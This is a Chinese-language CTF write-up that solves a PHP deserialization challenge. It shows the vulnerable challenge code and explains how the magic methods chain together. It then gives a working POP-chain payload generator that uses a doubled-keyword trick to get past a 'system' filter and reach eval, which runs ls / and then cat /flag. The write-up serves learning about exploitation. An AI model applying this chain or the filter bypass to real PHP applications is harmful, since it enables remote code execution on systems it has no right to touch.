pop chain
三月的月赛有两道题,第一题用御剑直接扫到了泄露的www.zip
,根据里面的源码直接秒了。所以这次月赛的主要就考这道pop链题。看看题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php class A{ public $test="give_me_flag"; public $command; public function __wakeup() { if($this->test=="give_me_flag"){ echo "lalala"; } } public function __call($a,$b){ $this->test=$val[0]; } public function __toString(){ echo $this->test; return "gg"; } public function __invoke(){ $this->command=str_replace("system","",$this->command); @eval($this->command); }
} class B{ public $external; public $arg; public function __destruct(){ $this->external->NOT_EXIST($this->arg); } } class C{ public $t; public $o; public function __call($func,$arg1){ $this->t->test=$arg1[0]; } public function __toString(){ $s=$this->o; return $s(); } } class D{ public $str; public $sentence="";
public function __set($n,$v){ if($this->sentence=="I need flag"){ strtolower($this->str); } } } if(isset($_GET['ctfer'])){ @unserialize($_GET['ctfer']); }else{ highlight_file(__FILE__); } ?>
|
pop链就是让一个魔术方法触发另一个魔术方法最后触发到漏洞点,所以解pop链的关键是找到漏洞点然后不断倒推。先来看看各种魔术方法:
根据上图看看我在草稿上画的的解题流程图(不太熟练,画图理清思路)
用官方一点的表示方式就是B::_destruct->C::_call->D::_set->C::_toString->A::_invoke(我画的图比较利于写程序)
程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class A{ public $test="give_me_flag"; public $command; } class B{ public $external; public $arg; } class C{ public $t; public $o; } class D{ public $str; public $sentence=""; } $a=new A(); $a->command="systsystemem('ls /');"; $c=new C(); $c->o=$a; $d=new D(); $d->str=$c; $d->sentence="I need flag"; $c->t=$d; $b=new B(); $b->external=$c; $poc = serialize($b); echo urlencode($poc);
|
输出
然后把ls /换成cat /flag即可得到flag。